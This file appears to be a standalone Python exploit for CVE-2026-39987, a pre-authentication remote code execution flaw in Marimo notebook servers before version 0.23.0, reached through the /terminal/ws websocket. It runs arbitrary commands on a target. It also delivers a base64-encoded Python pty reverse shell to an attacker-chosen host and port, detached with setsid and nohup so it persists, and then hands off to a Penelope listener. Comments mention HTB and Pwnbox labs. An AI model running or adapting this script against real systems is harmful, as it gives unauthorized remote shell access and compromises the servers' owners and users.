#!/usr/bin/env python3
"""
CVE-2026-39987 - Marimo < 0.23.0 Pre-Auth RCE via /terminal/ws

Usage:
  python3 exploit.py <URL> "command"
  python3 exploit.py <URL> -p [<LHOST>] [<LPORT>]
"""

import argparse, base64, os, shlex, socket, subprocess, sys, time
from pathlib import Path
from urllib.parse import urlparse

try:
    import websocket
except ImportError:
    print("[!] pip install websocket-client")
    sys.exit(1)

HERE = Path(__file__).resolve().parent
PENELOPE = HERE / "penelope.py"


def wss(url):
    if "://" not in url:
        url = f"https://{url}"
    p = urlparse(url)
    s = "wss" if p.scheme in ("https", "wss") else "ws"
    return f"{s}://{p.netloc or p.path}/terminal/ws"


def guess_lhost():
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    s.connect(("8.8.8.8", 80))
    ip = s.getsockname()[0]
    s.close()
    return ip


def connect_ws(url):
    # sslopt={"cert_reqs": 0} disables verification for self-signed certs (labs/HTB)
    sslopt = {"cert_reqs": 0} if url.startswith("wss://") else None
    ws = websocket.create_connection(url, timeout=10, sslopt=sslopt)
    # drain banner
    ws.settimeout(0.3)
    try:
        while True:
            ws.recv()
    except:
        pass
    return ws


def exec_cmd(target, cmd):
    ws = connect_ws(wss(target))
    try:
        ws.send(cmd + "\n")
        time.sleep(0.6)
        chunks = []
        ws.settimeout(0.3)
        t0 = time.time()
        while time.time() - t0 < 1.5:
            try:
                d = ws.recv()
                if d:
                    chunks.append(d if isinstance(d, str) else d.decode(errors="replace"))
            except:
                continue
        out = "".join(chunks)
        # strip shell prompt line
        for line in out.split("\n"):
            line = line.strip()
            if not line or "$ " in line or "# " in line or line == cmd.strip():
                continue
            print(line)
    finally:
        try:
            ws.close()
        except:
            pass


def revshell(target, lhost, lport):
    # Python pty reverse shell
    payload = (
        "python3 -c \""
        "import socket,os,pty;"
        "s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);"
        f"s.connect(('{lhost}',{lport}));"
        "os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);"
        "pty.spawn('/bin/bash')\""
    )
    b64 = base64.b64encode(payload.encode()).decode()
    # setsid + nohup → survives WebSocket close / PTY teardown
    cmd = (
        f"setsid nohup bash -c {shlex.quote(f'echo {b64}|base64 -d|bash')} "
        f"</dev/null >/dev/null 2>&1 &\n"
    )
    ws = connect_ws(wss(target))
    try:
        ws.send(cmd)
        time.sleep(0.8)
    finally:
        try:
            ws.close()
        except:
            pass


def main():
    parser = argparse.ArgumentParser(description="CVE-2026-39987 - Marimo Pre-Auth RCE")
    parser.add_argument("target", help="Target URL")
    parser.add_argument("command", nargs="?", help="Command to execute")
    parser.add_argument("-p", "--penelope", nargs="*", help="Reverse shell via Penelope. Args: [LHOST] [LPORT]")
    args = parser.parse_args()

    if args.penelope is not None:
        # Parse optional LHOST / LPORT
        pa = args.penelope
        lhost = guess_lhost() if len(pa) < 1 else pa[0]
        lport = 4444 if len(pa) < 2 else int(pa[1])
        print(f"[*] {args.target} => {lhost}:{lport} (persistent)")

        if not PENELOPE.is_file():
            print(f"[!] {PENELOPE} not found — place penelope.py next to exploit.py")
            sys.exit(1)

        # fork child → deliver payload after Penelope is up
        pid = os.fork()
        if pid == 0:
            time.sleep(2)
            try:
                revshell(args.target, lhost, lport)
            finally:
                os._exit(0)

        # parent → Penelope (--no-disk for read-only $HOME on Pwnbox, env HOME fixes it)
        penv = os.environ.copy()
        penv["HOME"] = os.getcwd()
        os.execve(sys.executable, [sys.executable, str(PENELOPE), str(lport), "-i", "0.0.0.0", "--no-disk"], penv)
        return

    if not args.command:
        parser.print_help()
        sys.exit(1)

    exec_cmd(args.target, args.command)


if __name__ == "__main__":
    main()